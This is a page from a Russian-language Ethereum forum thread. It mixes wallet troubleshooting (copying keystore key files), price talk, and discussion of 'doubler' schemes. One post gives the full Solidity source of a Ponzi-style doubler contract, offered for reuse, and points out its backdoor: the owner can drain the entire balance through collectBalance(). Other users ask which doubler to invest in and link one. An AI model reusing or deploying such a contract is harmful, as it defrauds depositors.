Author

Topic: [ETH] Ethereum - мировой компьютер - page 1364. (Read 1885832 times)

member
Activity: 61
Merit: 10
Если кто то хочет поиграться, или сделать свой, держите
Quote
contract DoubleTx{

    struct Participant {
        address etherAddress;
        uint PayAmount;
    }

    Participant[] public participants;

    uint public payoutIdx = 0;
    uint public collectedFees = 0;
    uint public balance = 0;
   uint public timeout = now + 1 weeks;

    address public owner;


    // simple single-sig function modifier
    modifier onlyowner { if (msg.sender == owner) _ }

    // this function is executed at initialization and sets the owner of the contract
    function DoubleTx() {
      collectedFees += msg.value;
        owner = msg.sender;
    }

    // fallback function - simple transactions trigger this
    function() {
        enter();
    }
   
    function enter() {
      //send more than 0.1 ether and less than 50, otherwise loss all
      if (msg.value >= 100 finney && msg.value <= 50 ether) {
           //update contract balance
           balance += msg.value;
   
            // add a new participant to array and calculate need balance to payout
           uint idx = participants.length;
           participants.length += 1;
           participants[idx].etherAddress = msg.sender;
           participants[idx].PayAmount = 2 * msg.value;
         
         uint NeedAmount = participants[payoutIdx].PayAmount;
         // if there are enough ether on the balance we can pay out to an earlier participant
          if (balance >= NeedAmount) {
               participants[payoutIdx].etherAddress.send(NeedAmount);
   
               balance -= NeedAmount;
               payoutIdx += 1;
           }
      }
      else {
         collectedFees += msg.value;
            return;
      }
    }

   function NextPayout() {
        balance += msg.value;
      uint NeedAmount = participants[payoutIdx].PayAmount;

       if (balance >= NeedAmount) {
            participants[payoutIdx].etherAddress.send(NeedAmount);

            balance -= NeedAmount;
            payoutIdx += 1;
        }
    }

    function collectFees() onlyowner {
      collectedFees += msg.value;
        if (collectedFees == 0) return;

        owner.send(collectedFees);
        collectedFees = 0;
    }

    function collectBalance() onlyowner {
      balance += msg.value;
        if (balance == 0 && now > timeout) return;

        owner.send(balance);
        balance = 0;
    }

    function setOwner(address _owner) onlyowner {
      collectedFees += msg.value;
        owner = _owner;
    }
}

Контракт с подвохом, админ может снять весь баланс.
Функция collectBalance() отправляет весь баланс кошелька на адресс создателя.
В моем такого нет!
hero member
Activity: 616
Merit: 500
   Всем контрактописцам рекомендуется просмотреть презентацию СЛОК.ИТ https://www.youtube.com/watch?v=49wHQoJxYPo&ebc=ANyPxKpv4x2hzfzbWR7T_M7fBxByjzNT23oHHHMY9XdUCe25dTH1arkRZrBF4CMiMAn24Yt_L9sxj3_LpkbUzQoL244TmIFi7g
Может черпнёте новых идей. Выход на днях.
legendary
Activity: 1974
Merit: 1160

Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Так поставь 64 битную винду. Делов-то на копейку  Smiley

Лень  Wink


Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Есть файлы: Из Roaming папка Ethereum, так же Etherwall 0.9.1 (запускается), но он тогда работал вкупе с geth. Вот последнее требует 64 разряда.


В папке Ethereum есть папка keystore и в ней лежат ключи, каждый файл за каждый созданный акк отвечает. Эти файлы копируешь и все.

Я под 32 битную систему кошелька не нашел, кроме каких-то браузерных. В общем ясно, спасибо.

Главное не ставь 64 винду под кефир на виртуалку. Я так поначалу сделал, тоже на хосте была 32. Но на виртуалке кефир глючит жестко, блоки не хочет качать, постоянно отваливается. Ему нужно время четкое, поэтому под кефир только реальную 64 винду надо ставить.

Нужно реальную ОС ставить. Ubuntu x64 тогда и проблем будет меньше Cool
legendary
Activity: 1456
Merit: 1022

Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Так поставь 64 битную винду. Делов-то на копейку  Smiley

Лень  Wink


Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Есть файлы: Из Roaming папка Ethereum, так же Etherwall 0.9.1 (запускается), но он тогда работал вкупе с geth. Вот последнее требует 64 разряда.


В папке Ethereum есть папка keystore и в ней лежат ключи, каждый файл за каждый созданный акк отвечает. Эти файлы копируешь и все.

Я под 32 битную систему кошелька не нашел, кроме каких-то браузерных. В общем ясно, спасибо.

Главное не ставь 64 винду под кефир на виртуалку. Я так поначалу сделал, тоже на хосте была 32. Но на виртуалке кефир глючит жестко, блоки не хочет качать, постоянно отваливается. Ему нужно время четкое, поэтому под кефир только реальную 64 винду надо ставить.
legendary
Activity: 1190
Merit: 1001
Понапихали в "форки" ETH удвоителей...теперь оригинальную тему кефира среди них пол часа искать... Undecided  и это лишь начало золотой лихорадки

админ придет - порядок наведет. удвоители - в хайпы и так кратковременные выгоды и не для всех
member
Activity: 124
Merit: 10
на какой удвоитель лучше кинуть?

лучше в первый, там хоть динамика идет
http://app.etherdoubler.com/
https://etherchain.org/account/0xfd2487cc0e5dce97f08be1bc8ef1dce8d5988b4d#txreceived
legendary
Activity: 1358
Merit: 1013
Понапихали в "форки" ETH удвоителей...теперь оригинальную тему кефира среди них пол часа искать... Undecided  и это лишь начало золотой лихорадки
legendary
Activity: 910
Merit: 1000

Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Так поставь 64 битную винду. Делов-то на копейку  Smiley

Лень  Wink


Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Есть файлы: Из Roaming папка Ethereum, так же Etherwall 0.9.1 (запускается), но он тогда работал вкупе с geth. Вот последнее требует 64 разряда.



В папке Ethereum есть папка keystore и в ней лежат ключи, каждый файл за каждый созданный акк отвечает. Эти файлы копируешь и все.

Я под 32 битную систему кошелька не нашел, кроме каких-то браузерных. В общем ясно, спасибо.
Так в эти браузерные также можно перетащить ключ и работать как с обычным кошельком. https://www.myetherwallet.com  и https://ethereumwallet.com/index.html
legendary
Activity: 1876
Merit: 1000

Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Так поставь 64 битную винду. Делов-то на копейку  Smiley

Лень  Wink


Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Есть файлы: Из Roaming папка Ethereum, так же Etherwall 0.9.1 (запускается), но он тогда работал вкупе с geth. Вот последнее требует 64 разряда.


В папке Ethereum есть папка keystore и в ней лежат ключи, каждый файл за каждый созданный акк отвечает. Эти файлы копируешь и все.

Я под 32 битную систему кошелька не нашел, кроме каких-то браузерных. В общем ясно, спасибо.
legendary
Activity: 1456
Merit: 1022

Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Есть файлы: Из Roaming папка Ethereum, так же Etherwall 0.9.1 (запускается), но он тогда работал вкупе с geth. Вот последнее требует 64 разряда.


В папке Ethereum есть папка keystore и в ней лежат ключи, каждый файл за каждый созданный акк отвечает. Эти файлы копируешь и все.
legendary
Activity: 2898
Merit: 1041

Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Так поставь 64 битную винду. Делов-то на копейку  Smiley
full member
Activity: 262
Merit: 108
По битку договорились о консенсусе.
Биток пошел вверх, eth вниз. Пока вангую low на 0.0083 - 0.0087

Корреляция бтк/усд и эф/бтк очень слабая. Это значит, что в эфир заливают лавешку из евробаксов. Это очень хорошо.
legendary
Activity: 1876
Merit: 1000

Народ, такой вопрос. Возможно ли как-то вытащить кошелек под 64 бита, на 32 битной винде?

Есть файлы: Из Roaming папка Ethereum, так же Etherwall 0.9.1 (запускается), но он тогда работал вкупе с geth. Вот последнее требует 64 разряда.
hero member
Activity: 742
Merit: 500
на какой удвоитель лучше кинуть?
Лучше мне сразу кидай  Cheesy
Сума сошел в хайп лезть на исходе его жизненного цикла? Шансов выиграть 0%
Но кто-то другой будет конечно рад, за твой счет получит выплату ))))
В "удвоитель" надо лезть в первые 30 минут его существования, все кто позже, уже спонсируют выплаты тем, кто успел в начале, естественно сами уже ничего не получат.
hero member
Activity: 793
Merit: 510
на какой удвоитель лучше кинуть?
legendary
Activity: 1334
Merit: 1004
TTM
По битку договорились о консенсусе.
Биток пошел вверх, eth вниз. Пока вангую low на 0.0083 - 0.0087
sr. member
Activity: 1204
Merit: 295
Ага,сейчас еще и курс эфира обвалят своими"умножителями"  Wink Надо шортить )))
Эфира то"сразу вдвое больше"станет )))
Что вы с эфиром сделали!  Grin
legendary
Activity: 1974
Merit: 1160
Люди как в кошелек Mist добавить ключ? Создался он на windows, пихнуть надо в Ubuntu

Открой Nautilus во вкладке вид выбери показывать скрытые файлы. У тебя в домашней папке будет папка .ethereum заходишь туда и там в папку keystore кладёшь ключ Wink
hero member
Activity: 793
Merit: 510
Люди как в кошелек Mist добавить ключ? Создался он на windows, пихнуть надо в Ubuntu
legendary
Activity: 1358
Merit: 1013
а что там с объемом не так вообще сдулся на поло  Tongue

Это до первой новости Wink
Jump to: